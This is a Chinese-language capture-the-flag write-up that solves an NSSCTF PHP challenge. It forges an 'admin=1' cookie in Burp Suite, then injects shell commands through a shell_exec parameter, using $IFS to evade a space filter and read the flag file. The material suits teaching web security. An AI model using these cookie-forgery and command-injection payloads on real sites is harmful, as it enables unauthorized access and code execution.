打开题目,显示了一个php脚本
我们来分析一下这个脚本是什么意思
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1)
{
include "../next.php";
}
else
echo "小饼干最好吃啦!";
这个 PHP 脚本主要做了以下事情:
1. 通过 `error_reporting(0);` 关闭了错误报告。这意味着如果脚本中有任何错误,程序将不会显示错误消息。
2. 使用 `header("Content-Type:text/html;charset=utf-8");` 设置内容类型为 HTML ,并指定字符类型为 UTF-8。
3. `highlight_file(__FILE__);` 是一个用于突出显示当前脚本文件代码的 PHP 内置函数。通过 `__FILE__` 魔术常量,它可以获取当前脚本的绝对路径。
4. 程序接着会检查 'admin' 的 cookie 值是否为1。如果是,它将包含(include)"../next.php" 文件。这个 ".." 是相对路径的表示方式,表示上一级文件夹。
5. 如果 'admin' 的 cookie 值不是1,那么就会显示一句 "小饼干最好吃啦!"
这个脚本主要用于检查是否有管理员权限访问某些页面。admin 是 cookie 的名称,如果它的值为 1,则表示用户是管理员,可以包含其他 php 文件 for further processing。实质上,这个脚本实现了一个简单的访问控制机制。
那么,要绕过这个脚本进行下一步,我们需要做的就是将请求中Cookie的值设置为1
可以使用Burpsuite完成这项工作。
首先,使用Burpsuite抓取访问靶机地址的数据包,并发送到repeater。
然后,可以在右侧窗口看到一个请求cookies,把它点开
点击添加,输入名称为admin,值为1,点击添加
可以看到,左侧的请求数据包中最后已经多了一行数据
Cookie: admin=1
点击发送,查看回显,可以看到回显的最后给了我们一个文件rasalghul.php。
我们去浏览器访问一下这个文件看看
http://node5.anna.nssctf.cn:27929/rasalghul.php
可以看到,这是另一个php脚本。
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
?>
这段 PHP 脚本主要执行以下操作:
-
error_reporting(0);
关闭了所有错误报告。这意味着脚本中的任何错误,程序将不会显示错误消息。 -
使用
highlight_file(__FILE__);
方法会输出当前脚本文件的内容,并且会突出显示语法结构。这个__FILE__
是魔术常量,表示当前脚本的绝对路径。 -
再次通过
error_reporting(0);
关闭所有错误报告。 -
检查
$_GET['url']
参数是否被设置。这可能是一个从 URL 查询字符串获取的参数。 -
如果
$_GET['url']
参数被设置,那么就将其值赋给$ip
变量。 -
preg_match("/ /", $ip)
会检查$ip
变量的值中是否存在一个空格。如果存在空格,die('nonono');
函数将停止脚本执行,并输出消息 'nonono'。 -
shell_exec($ip);
函数通过 shell 命令执行$ip
变量的值并返回输出。这是一个非常危险的行为,因为它允许任何人通过 URL 查询参数运行任意的 shell 命令。这可能会导致严重的安全问题。 -
echo
$a;
将输出shell_exec($ip);
的结果。
总的来看,这个脚本的主要用途应该是接受来自 URL 查询参数的输入,并试图在 shell 命令行中执行该输入。不过,如果输入包含空格,则执行会被中断。
一句话,就是我们可以通过传入参数为url的命令,但是命令中不能有空格
先用ls试试看。
http://node5.anna.nssctf.cn:27929/rasalghul.php?url=ls
可以看到,ls命令是有作用的,所以我们只要能绕过空格限制,就能够执行我们想要执行的所有命令,相当于已经获得了管理员的权限 。
如何绕过空格限制呢,可以参考这篇文章
RCE漏洞详解及绕过总结(全面)-CSDN博客
我们可以用$IFS来代替空格
http://node5.anna.nssctf.cn:27929/rasalghul.php?url=ls$IFS/
这样就能绕过空格过滤,服务器也正常回显了根目录的文件和文件夹
我们可以看到很显眼的flag文件,直接使用cat命令查看就完了
http://node5.anna.nssctf.cn:27929/rasalghul.php?url=cat$IFS/flllllaaaaaaggggggg
本题完。